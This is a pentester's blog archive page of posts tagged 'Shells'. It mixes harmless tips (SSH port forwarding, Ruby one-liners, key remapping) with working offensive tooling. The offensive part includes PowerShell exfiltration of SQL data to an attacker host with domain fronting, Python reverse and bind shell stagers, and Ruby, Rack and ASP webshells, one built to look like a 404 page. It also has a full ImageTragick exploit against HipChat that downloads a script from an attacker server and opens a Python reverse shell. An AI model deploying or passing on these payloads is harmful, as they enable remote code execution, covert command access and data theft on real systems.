Below is some sample code to pop a cmd shell upon execution of the DLL. Pretty great for testing various code injection techniques. Compile it as a DLL project in Visual Studio to generate the .dll file.
Showing posts with label Shells. Show all posts
Showing posts with label Shells. Show all posts
Wednesday, February 26, 2020
Friday, December 14, 2018
SSH Port Forwards In Simpler Terms
I love SSH, I love port forwards, I love all they allow you to do. I hate my memory and all it forgets to do. I decided to write the following so I can easily recall the syntax and meaning for SSH port forwards (-L & -R).
Firstly, both use the same syntax (order of parameters doesn't matter):
ssh root@someVPS -i ~/.ssh/whateverKey -L localhost:2323:localhost:2424
ssh root@someVPS -i ~/.ssh/whateverKey -R localhost:2323:localhost:2424
Even though they are both basically From:To, They have different meanings because -L & -R have different contexts.
-L localhost:2323:localhost:2424 means:
Firstly, both use the same syntax (order of parameters doesn't matter):
ssh root@someVPS -i ~/.ssh/whateverKey -L localhost:2323:localhost:2424
ssh root@someVPS -i ~/.ssh/whateverKey -R localhost:2323:localhost:2424
Even though they are both basically From:To, They have different meanings because -L & -R have different contexts.
-L localhost:2323:localhost:2424 means:
- Create a listening socket on my local laptop (the client) listening at localhost:2323
- Any connection coming into that socket (on my local laptop) send over the SSH connection to the VPS's "localhost:2424" - assuming some app or something is listening on the server on 2424 so this connection is actually useful.
- Can be more easily understood as "-L LocalContextIP:LocalPort:RemoteContextIP:RemotePort"
-R localhost:2323:localhost:2424 means the inverse:
- Create a listening socket on the VPS at localhost:2323
- Any connection into that socket (on the remote VPS) send over the SSH connection to the Laptop's "localhost:2424"
- Can be more easily understood as "-R RemoteContextIP:RemotePort:LocalContextIP:LocalPort"
It's important to note that this isnt restricted to localhost. You can "bounce" connections either way just by changing the "To:" location.
Bounce a connection from my laptop to my VPS and out to google? sure
ssh root@someVPS -i ~/.ssh/whateverKey -L localhost:2323:google.com:80
Bounce a connection from my VPS to my laptop and out to google? sure
ssh root@someVPS -i ~/.ssh/whateverKey -R localhost:2323:google.com:80
-L & -R are really doing nothing more than telling you the direction that the traffic flows. -L is from client -> server and -R is from server -> client.
I use the term "Context" here because that's really what it is. It consults the machine's IPs/Hostnames/whatever that is local to _that_ machine.
This means that if my VPS has an entry in /etc/hosts for "1.1.1.1 yoloswag" and my Laptop has an entry for "2.2.2.2 yoloswag" - they will mean different things depending on where in the command you place "yoloswag"
There, now I won't have to second guess myself everytime I try to create a reverse tunnel through 8 different boxes.
Stupid SSH Trick:
So if you understood what I just wrote then you should say to yourself: "wait, doesnt that mean I can forever have two tunnels passing data back and forth forever" - yes. Yes you can. And it's dumb. Here's how it works:
First anything coming on your laptops localhost:3030 gets sent out to the VPS's localhost:3131
ssh yolohax -L localhost:3030:localhost:3131
Second, anything coming into your VPS's localhost:3131, send out to your Laptops:3030:
ssh yolohax -R localhost:3131:localhost:3030
Go ahead and try it, watch your network usage. Once you issue your first transmission (echo infinitelooplol | ncat localhost 3030) you should get a constant .5-1.5Kbps in both directions. Ctrl-c'ing it won't help because it's stuck in tunnel loop. You have to kill one of the tunnels for it to end.
Stupid SSH Trick:
So if you understood what I just wrote then you should say to yourself: "wait, doesnt that mean I can forever have two tunnels passing data back and forth forever" - yes. Yes you can. And it's dumb. Here's how it works:
First anything coming on your laptops localhost:3030 gets sent out to the VPS's localhost:3131
ssh yolohax -L localhost:3030:localhost:3131
Second, anything coming into your VPS's localhost:3131, send out to your Laptops:3030:
ssh yolohax -R localhost:3131:localhost:3030
Go ahead and try it, watch your network usage. Once you issue your first transmission (echo infinitelooplol | ncat localhost 3030) you should get a constant .5-1.5Kbps in both directions. Ctrl-c'ing it won't help because it's stuck in tunnel loop. You have to kill one of the tunnels for it to end.
Tuesday, September 18, 2018
Saner Bash Commands Inside Python
As great as Python is, sometimes the dev's make really weird decisions regarding defaults. A perfect example is running shell commands inside Python 3+. For some reason the dev thought it was a good idea to make the subprocess "run" method _not_ capture the output from stdout or stderr by default. I find this incredibly annoying and it constantly result in me having to look up the syntax since I always forget it.
I decided to instead have this little helper function to encapsulate what I consider to be saner defaults. I decode the bytes into utf8 since thats the output for 99% of all bash commands.
Running that function will execute whatever command you pass it (insecure, but use it appropriately) and returns an object that you can then check the return code, stdout, and stderr.
So now, it's just:
I decided to instead have this little helper function to encapsulate what I consider to be saner defaults. I decode the bytes into utf8 since thats the output for 99% of all bash commands.
#!/usr/bin/env python3 import subprocess def run_cmd(cmd): result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) result.stdout = result.stdout.decode('utf8') result.stderr = result.stderr.decode('utf8') return result
Running that function will execute whatever command you pass it (insecure, but use it appropriately) and returns an object that you can then check the return code, stdout, and stderr.
So now, it's just:
In [25]: if 'root' in run_cmd('whoami').stdout: ....: print("you are root") ....: you are root
Labels:
Programming,
Python,
Shells
Wednesday, August 1, 2018
Finding Interesting Files Using Statistical Analysis
I noticed a pattern when scrounging for target data on pentests. Most of the times in which I get valuable data (test creds/log data/unencrypted logs/etc) they are often in files that are in some way different than those around them. Sometimes its their filename, like when you have 400 files named "NightlyLogDATE" and you see a "NightlyLogDATE.bak". It also tends to happen with file sizes. You'll have the same directory and almost every file is around 400-600KB and a couple will be megabytes big or only a couple KB.
These files are "interesting" to me because they differ in some way. These are the outliers. Sometimes they will be temporary backup files where a tech needed to test credit card processing with encryption turned off, or maybe some error pumped traceback/debug output to an otherwise normal file.
I decided to scrounge around online to stitch together a script that will report these outlier files.
The following script will look in the target directory, calculate the median absolute deviation, compare it against a threshold and return the filenames for you to prioritize pillaging.
It's fairly basic so I'm happy to accept any code donations :D
These files are "interesting" to me because they differ in some way. These are the outliers. Sometimes they will be temporary backup files where a tech needed to test credit card processing with encryption turned off, or maybe some error pumped traceback/debug output to an otherwise normal file.
I decided to scrounge around online to stitch together a script that will report these outlier files.
The following script will look in the target directory, calculate the median absolute deviation, compare it against a threshold and return the filenames for you to prioritize pillaging.
It's fairly basic so I'm happy to accept any code donations :D
Labels:
Programming,
Python,
Redteam,
Shells
Friday, January 19, 2018
Remap Right Shift To Up Arrow OSX
The up arrow on the new 2017 Macbook pros are stupid small and very difficult to accurately hit. This can be extremely annoying when in a terminal and you need to hit "up" several times to go through your history.
Unfortunately there is no builtin way to modify the right shift key and map it to arbitrary keys. Fortunately, however, there is an app call "Karabiner" that grants you this functionality at an OS level. Meaning, it's not application specific.
The process is incredibly simple:
Unfortunately there is no builtin way to modify the right shift key and map it to arbitrary keys. Fortunately, however, there is an app call "Karabiner" that grants you this functionality at an OS level. Meaning, it's not application specific.
The process is incredibly simple:
- Download Karabiner
- Go to the "Simple Modifications" tab
- Click "Add Item"
- From Key: right_shift, To Key: up_arrow as seen below:
Enjoy!
Labels:
Administrative,
OSX,
Shells
Wednesday, November 29, 2017
Exfiltrating SQL data from Windows
Let's say you get a winexe or wmiexec shell to a SQL server. Maybe you want to extract the top 10 rows of some juicy looking table. Maybe you need to exfil it to your HTTP server and are yolo'ing it. The following may help you:
Output the top 10 records of a SQL table using osql:
Post the file to a URL using powershell:
Set up a an HTTP server to receive the file, or just ncat -l it.
Oh, want to use domain fronting? use this powershell line instead:
Output the top 10 records of a SQL table using osql:
osql -E -Q "use DATABASEHERE; select top 10 * from ZOMGSEXYTABLE" -o C:\windows\temp\LOLDATA.txt
Post the file to a URL using powershell:
powershell -noprofile Invoke-RestMethod -Uri http://PUT.MY.IP.HERE -Method Post -InFile C:\windows\temp\LOLDATA.txt -ContentType "multipart/form-data"
Set up a an HTTP server to receive the file, or just ncat -l it.
Oh, want to use domain fronting? use this powershell line instead:
powershell -noprofile Invoke-RestMethod -Uri http://FRONTABLE.DOMAIN.HERE -Headers @{Host='MY.CLOUDFRONTDOMAINHERE'} -Method Post -InFile C:\windows\temp\LOLDATA.txt -ContentType "multipart/form-data"
Labels:
Network,
Powershell,
Shells,
Windows
Friday, June 16, 2017
Smallest Python Bind Shell
As a followup to my previous post about making the smallest python reverse bind shell, A coworker ran into a situation where outbound connections were not allowed. So I decided to change the code to be a bind shell instead of a reverse-connect shell.
This version simply sits and listens on the specified port for input, and then executes whatever text it receives as python code. Just like with the reverse-bind shell, I'm sure this would more accurately be classified as a stager since the meat of the code is actually sent when you connect to the socket, as you'll see later.
If you're able to execute Python code on the target machine and have limited space for injections (SQL/limited command injection/whatever) this 105 character tweet-able bind shell may work for you:
Once this is executed on the victim machine, you then connect to it with netcat/ncat.
Then paste in the following line. Once it's pasted in, don't hit enter like you'd expect, hit CTRL-D so your terminal sends the EOF signal. Once you hit CTRL-D it will pop a shell for you to have fun with.
And boom, shell:
PS. The bind shell code is saying to bind to port 2425, which is just to make it not require root privileges. If you don't have root, you won't be able to bind it to any port less than 1024.
PPS. As with the reverse shell, I simply haven't found anything smaller. I'm sure there is some Python wizardry to make it smaller, but this is good enough for most purposes.
EDIT:
I was reminded that IPs can be shortened mathematically and it does in fact work with the socket library. I changed the above bind line to '127.1' since it is equivalent to and shorter than 'localhost'. This brings the overall size from 109 characters to 105. Granted that won't matter when yo put in your own server for an actual attack but whatever. IT STILL COUNTS.
This version simply sits and listens on the specified port for input, and then executes whatever text it receives as python code. Just like with the reverse-bind shell, I'm sure this would more accurately be classified as a stager since the meat of the code is actually sent when you connect to the socket, as you'll see later.
If you're able to execute Python code on the target machine and have limited space for injections (SQL/limited command injection/whatever) this 105 character tweet-able bind shell may work for you:
import socket as a s = a.socket() s.bind(('127.1',2425)) s.listen(1) (r,z) = s.accept() exec(r.recv(999))
Once this is executed on the victim machine, you then connect to it with netcat/ncat.
$ ncat localhost 2425 -v Ncat: Version 7.40 ( https://nmap.org/ncat ) Ncat: Connected to 127.0.0.1:2425.
Then paste in the following line. Once it's pasted in, don't hit enter like you'd expect, hit CTRL-D so your terminal sends the EOF signal. Once you hit CTRL-D it will pop a shell for you to have fun with.
import pty,os;os.dup2(r.fileno(),0);os.dup2(r.fileno(),1);os.dup2(r.fileno(),2);pty.spawn("/bin/bash");s.close()
And boom, shell:
$ ncat localhost 2425 -v Ncat: Version 7.40 ( https://nmap.org/ncat ) Ncat: Connected to 127.0.0.1:2425. import pty,os;os.dup2(r.fileno(),0);os.dup2(r.fileno(),1);os.dup2(r.fileno(),2);pty.spawn("/bin/bash");s.close()
[09:41:21][victim]@[victimhost:~]$ pwd pwd /Users/victim [09:41:23][victim]@[victimhost:~]$
PS. The bind shell code is saying to bind to port 2425, which is just to make it not require root privileges. If you don't have root, you won't be able to bind it to any port less than 1024.
PPS. As with the reverse shell, I simply haven't found anything smaller. I'm sure there is some Python wizardry to make it smaller, but this is good enough for most purposes.
EDIT:
I was reminded that IPs can be shortened mathematically and it does in fact work with the socket library. I changed the above bind line to '127.1' since it is equivalent to and shorter than 'localhost'. This brings the overall size from 109 characters to 105. Granted that won't matter when yo put in your own server for an actual attack but whatever. IT STILL COUNTS.
Labels:
Network,
Programming,
Python,
Shells
Wednesday, July 20, 2016
How to have a webshell over SMS
I consider this more of a "stupid trick" than actually being terribly useful. I recently thought to myself "How awesome would it be if I could text a phone number to run some commands" and I immediately answered that question with "super freakin' awesome".
You need the following:
Overall, this really isn't that different from any other webshell. The only real difference is you are leveraging Twilio to handle SMS communications.
Now you get to do something stupid like this:
PS.
I shouldn't have to mention that taking in arbitrary text from untrusted sources and running them as commands under root is pretty much the worst thing you could do security wise. This is merely an example of how to get the pure task done. Implement some auth or something, I don't care... It's your funeral...
You need the following:
- A number set up at Twilio - This is what is used to actually communicate over SMS
- A VPS - You need this to host a server application to accept the text string from Twilio servers. This will also be where the commands are actually run.
- Ruby with twilio-ruby and sinatra gems installed
Purchase a phone number in Twilio and have the "webhook" line in the SMS section point to your VPS URL, for example: http://myvpshere:8080/smscli or whatever you choose. Once you set that up, whatever SMS messages get sent to the phone number you purchased in Twilio will be sent as an HTTP Post request to the URL you specify.
Now all you need is a server listening at that URL on your VPS to accept the HTTP Post requests from the Twilio servers and do something with the body of the request. In this case, we pass whatever text as a system command and reply to the phone number with the result of the command. The following example Ruby code starts up a sinatra web server to do all that:
require 'twilio-ruby' require 'sinatra' set :port, 8080 set :bind, '0.0.0.0' post '/smscli' do puts "Message: #{params['Body']}!" result = `#{params['Body']}` twiml = Twilio::TwiML::Response.new do |r| r.Message result end twiml.text end
Overall, this really isn't that different from any other webshell. The only real difference is you are leveraging Twilio to handle SMS communications.
Now you get to do something stupid like this:
PS.
I shouldn't have to mention that taking in arbitrary text from untrusted sources and running them as commands under root is pretty much the worst thing you could do security wise. This is merely an example of how to get the pure task done. Implement some auth or something, I don't care... It's your funeral...
Labels:
Just For Fun,
Network,
Ruby,
Shells,
Web
Wednesday, June 15, 2016
The Smallest Python Reverse Shell
I've done quite a bit of searching and I'm fairly sure I've created the smallest Python reverse shell (not including simply using bash) of 77 characters. 100 characters is the smallest that I've ever seen on the web. If someone finds or comes up with something smaller, I'd love to see how you did it.
This could more accurately be considered a stager than an actual bind shell. What this does is open a socket connection to (in this case) localhost on port 24. It then receives input from the server and executes it internally as python code. This still requires you to send it the actual Python code to start the shell, which I just paste into my netcat listener once it connects.
The recv/exec combo seems to do weird things with new lines so I just paste in the entire thing as one line:
So once the python script connects, paste that one liner into the netcat session and hit ctrl+d (so as to not append a \n) and then bam, a shell shows up.
Let's see the golfers play at it :D
EDIT: I golfed it. You can make the connect line shorter by replacing "localhost" with "127.1" which is equivalent but less characters. This would bring the total number of characters from 77 to 72.
import socket as a s=a.socket() s.connect(("localhost",24)) exec(s.recv(999))
This could more accurately be considered a stager than an actual bind shell. What this does is open a socket connection to (in this case) localhost on port 24. It then receives input from the server and executes it internally as python code. This still requires you to send it the actual Python code to start the shell, which I just paste into my netcat listener once it connects.
The recv/exec combo seems to do weird things with new lines so I just paste in the entire thing as one line:
import pty,os;os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");s.close()
So once the python script connects, paste that one liner into the netcat session and hit ctrl+d (so as to not append a \n) and then bam, a shell shows up.
Let's see the golfers play at it :D
EDIT: I golfed it. You can make the connect line shorter by replacing "localhost" with "127.1" which is equivalent but less characters. This would bring the total number of characters from 77 to 72.
Tuesday, May 17, 2016
Exploiting HipChat with ImageTragick
Hipchat uses the Imagemagick library to resize your custom emoticons. If you have access to upload your own emoticon image files to the server using the web interface (or API probably), you can use the Imagetragick vulnerability to get shell on the machine.
I could see the request for "test4" in my testserver's logs. woot. This means we have remote command execution on the server. Now all we have to do is get shell.
Then I created the two separate exploit .gif files. The first .gif runs curl to download the python shell:
The second .gif executes the python shell:
(now that I think about it, you might be able to combine both files into one to only have to upload once, but I haven't tested that)
Once you upload that second gif, about a second or two later, you should see your shell come through on your ncat 1234 port:
So ImageTragick is kind of a big deal in that it's stupid easy to exploit (at least in this case) and it's a fairly reliable command injection vuln.
It turns out the ImageTragick's PoC didn't work on our server:
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg";|ls "-la)' pop graphic-context
After quite a bit of mangling and testing, the following file contents, renamed to a .gif (HipChat doesn't accept .mvg files), will work:
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg";curl testserver:8000/test4")' pop graphic-context
I could see the request for "test4" in my testserver's logs. woot. This means we have remote command execution on the server. Now all we have to do is get shell.
Now since I didn't have time to figure out how to make it a leet one-liner, I decided to break shell access into two requests. The first pulls the shell script to /tmp/ and the second executes the file.
The reverse shell I used was:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
I simply pasted that into a .sh on my testserver so the victim HipChat server could pull it down
I listened on my remote box with a basic ncat listener:
I listened on my remote box with a basic ncat listener:
ncat -l -v 1234
Then I created the two separate exploit .gif files. The first .gif runs curl to download the python shell:
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg";curl testserver:8000/python_shell.sh -o /tmp/python_shell.sh")' pop graphic-context
The second .gif executes the python shell:
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg";bash /tmp/python_shell.sh")' pop graphic-context
(now that I think about it, you might be able to combine both files into one to only have to upload once, but I haven't tested that)
Once you upload that second gif, about a second or two later, you should see your shell come through on your ncat 1234 port:
$ uname -a Linux hipchat.blah.com 3.4.0-54-generic #81~precise1-Ubuntu SMP Tue Jul 15 04:02:22 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
So ImageTragick is kind of a big deal in that it's stupid easy to exploit (at least in this case) and it's a fairly reliable command injection vuln.
Thursday, March 24, 2016
Hackers and Programming Languages
The following is a list of very common programming languages and why a Pentester/Hacker should be at the very least familiar with them:
- Bash - Using linux, I'd wager the most important language to be proficient in.
- Ruby - Many security tools are written in Ruby, extending metasploit, exploit dev, understanding/exploiting Rails vulns. Overall a very enjoyable language to program in.
- Python - Many security tools are written in python, extending veil/impacket, exploit dev, lots of RE/Forensics tools are written in python, huge and active community to build upon.
- C++ - Custom windows malware writing, gives you more direct access to the windows API
- PHP - crap ton of webapps/professional appliances/general web stuff is written in PHP
- Javascript - XSS/CSRF, NodeJS, super crazy fancy looking tools
- Java - Almost every single organization runs java somewhere. Java web apps, apache tomcat, Weblogic, any java app server, java RPC protocols. LOTS of vulnerabilities introduced because of java apps.
- C - Custom malware writing (in general), several security tools written in C, driver/kernel hacking
- Perl - Make yourself seem way older than you actually are. haha, jk. no really you don't need to learn perl.
Other programming like things:
- Object Oriented Programming - Important for source code analysis and writing more powerful tools
- Programming Patterns - Certain programming patterns are not intuitive at all. Important to know when you are debugging other's code or doing source code analysis.
- HTML - Any place you'd have HTML injection or trying to get custom XSS/ or other browser centric vulns to pop
- XML - data storage, API data transfer format, SOAP, XXE injection
- JSON - Other than XML, most often used API format
- SQL - SQLi, intercepting SQL traffic
This list is by no means exhaustive or comprehensive, it's just typically the languages you'd most often encounter on pentests, exploit dev, or reverse engineering. If you can think of other uses for the languages or another language I missed, let me know.
Labels:
Bash,
Exploit Dev,
Programming,
Shells,
Web,
Windows
Monday, March 7, 2016
Super Simple Ruby Rack Webshell
Similar to my Super Simple Sinatra Webshell post, I've created a simple webshell using Ruby Rack. Simply run the below ruby script and the server will listen on 8080:
You can execute commands by simply making a Get request to /?qwer=<insert command here> (You still have to URLencode spaces and special chars)
And if someone doesn't supply the correct parameter or path, it returns a 404 (provides a tiny bit of stealthiness):
require 'rack' require 'rack/server' class RackWebShell def self.call(env) request = Rack::Request.new env response = Rack::Response.new unless request.params['qwer'].nil? response.write `#{request.params['qwer']}` response.finish # return the generated triplet else response.write "ERROR 404: File Not Found\n" response.status = 404 response.finish end end end Rack::Server.start :app => RackWebShell
You can execute commands by simply making a Get request to /?qwer=<insert command here> (You still have to URLencode spaces and special chars)
And if someone doesn't supply the correct parameter or path, it returns a 404 (provides a tiny bit of stealthiness):
Labels:
Programming,
Ruby,
Shells,
Web
Thursday, March 3, 2016
Pipe Bash Commands Straight into Ruby One-Liners
I use bash every day of my life, which means I have a fondness for one-liners. The ability to smash complex commands as a series of pipes provides a type of satisfaction and pride not often found elsewhere. Unfortunately, not everything you want to do can be accomplished using Bash builtins or common CLI programs typically installed. Instead of hunting down the "proper" way to do it, you can hack something together like I prefer to do.
Let's say I know I want to do something, but I can'd find a reliable predictable way to do with with bash utilities. I happen to also know some ruby code that would do exactly what I want. I could write a ruby script to read in from a file and process and then output, but thats a lot of hassle for a task so small. Luckily, ruby makes it very easy for us to easily pipe text into the ruby interpreter and provide ruby code to do whatever we want with that input.
For example:
Or a bit convoluted with bash for loops:
The -n argument:
The -e argument:
Which is a little confusing but basically means "run ruby code provided as argument"
Thats nice, but what if I need to use a method provided by a gem thats not included in the standard ruby library? as easy as:
The -r argument:
Lastly, the -p argument can be of some use as well:
Another example:
You can use -p instead of -n with a puts but things can get weird (does print at end of loop instead of puts):
You can even technically paste in scripts and have them run:
Just be careful with escaping your quotes:
Even if you try to escape the single quotes (Bash doesnt read it the way you think it should):
You'd have to use the Bash syntax ANSI strings (note the $ before the opening single quote):
Lot's of caveats and gotcha's to consider, know, and think about. Remember, pipe to ruby when it's simple and convenient. If you start getting too complicated with multiple lines and quote escapes, just put it in a file and run that instead.
Let's say I know I want to do something, but I can'd find a reliable predictable way to do with with bash utilities. I happen to also know some ruby code that would do exactly what I want. I could write a ruby script to read in from a file and process and then output, but thats a lot of hassle for a task so small. Luckily, ruby makes it very easy for us to easily pipe text into the ruby interpreter and provide ruby code to do whatever we want with that input.
For example:
$ echo "proper name" | ruby -ne 'puts $_.capitalize' Proper name
Or a bit convoluted with bash for loops:
$ for i in bob bill joe sam; do ruby -e "puts \"$i\".capitalize"; done Bob Bill Joe Sam
The -n argument:
-n Causes Ruby to assume the following loop around your script, which makes it iterate over file name arguments somewhat like sed -n
or awk.
while gets
...
end
The -e argument:
-e command Specifies script from command-line while telling Ruby not to search the rest of the arguments for a script file name.
Which is a little confusing but basically means "run ruby code provided as argument"
Thats nice, but what if I need to use a method provided by a gem thats not included in the standard ruby library? as easy as:
$ cat > names.txt bob sally sam joe jack $ cat names.txt | ruby -r 'rbkb' -ne 'puts $_.capitalize.b64' Qm9iCg== U2FsbHkK U2FtCg== Sm9lCg== SmFjawo=
The -r argument:
-r library Causes Ruby to load the library using require. It is useful when using -n or -p.
Lastly, the -p argument can be of some use as well:
-p Acts mostly same as -n switch, but print the value of variable $_ at the each end of the loop. For example:
% echo matz | ruby -p -e '$_.tr! "a-z", "A-Z"'
MATZ
Another example:
$ cat names.txt | ruby -r 'rbkb' -n -e 'i = $_.chomp; puts i + " in base64 is: " + i.b64' bob in base64 is: Ym9i sally in base64 is: c2FsbHk= sam in base64 is: c2Ft joe in base64 is: am9l jack in base64 is: amFjaw==
You can use -p instead of -n with a puts but things can get weird (does print at end of loop instead of puts):
$ cat names.txt | ruby -r 'rbkb' -p -e '$_ = $_.capitalize.b64' Qm9iCg==U2FsbHkKU2FtCg==Sm9lCg==SmFjawo=
You can even technically paste in scripts and have them run:
cat names.txt | ruby -r 'rbkb' -ne ' > input = $_.chomp > puts "The current input being processed is: \"#{input}\"" > puts "The current time is: #{Time.now}" > puts "The Base64 encoded value of #{input} is #{input.b64}" > ' The current input being processed is: "bob" The current time is: 2016-03-03 12:15:10 -0600 The Base64 encoded value of bob is Ym9i The current input being processed is: "sally" The current time is: 2016-03-03 12:15:10 -0600 The Base64 encoded value of sally is c2FsbHk= The current input being processed is: "sam" The current time is: 2016-03-03 12:15:10 -0600 The Base64 encoded value of sam is c2Ft The current input being processed is: "joe" The current time is: 2016-03-03 12:15:10 -0600 The Base64 encoded value of joe is am9l The current input being processed is: "jack" The current time is: 2016-03-03 12:15:10 -0600 The Base64 encoded value of jack is amFjaw==
Just be careful with escaping your quotes:
$ cat names.txt | ruby -r 'rbkb' -ne ' > puts $_.chomp + 'asdf' > ' -e:2:in `<main>': undefined local variable or method `asdf' for main:Object (NameError)
Even if you try to escape the single quotes (Bash doesnt read it the way you think it should):
$ cat names.txt | ruby -ne ' > puts $_.chomp + \'asdf\' -e:2: syntax error, unexpected $undefined puts $_.chomp + \asdf' ^ -e:2: unterminated string meets end of file $ echo '\'' >
You'd have to use the Bash syntax ANSI strings (note the $ before the opening single quote):
$ cat names.txt | ruby -ne $' > puts $_.chomp + \'asdf\' > ' bobasdf sallyasdf samasdf joeasdf jackasdf
Lot's of caveats and gotcha's to consider, know, and think about. Remember, pipe to ruby when it's simple and convenient. If you start getting too complicated with multiple lines and quote escapes, just put it in a file and run that instead.
Labels:
Bash,
Programming,
Ruby,
Shells
Tuesday, July 14, 2015
One Line ASP Shell
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
Wednesday, September 17, 2014
Super Simple Shell Spawner in C
I needed this code for a project i was working on. Keeping it here for posterity:
#include "stdlib.h" int main(){ system("/bin/sh"); }
Labels:
Programming,
Shells
Subscribe to:
Posts (Atom)



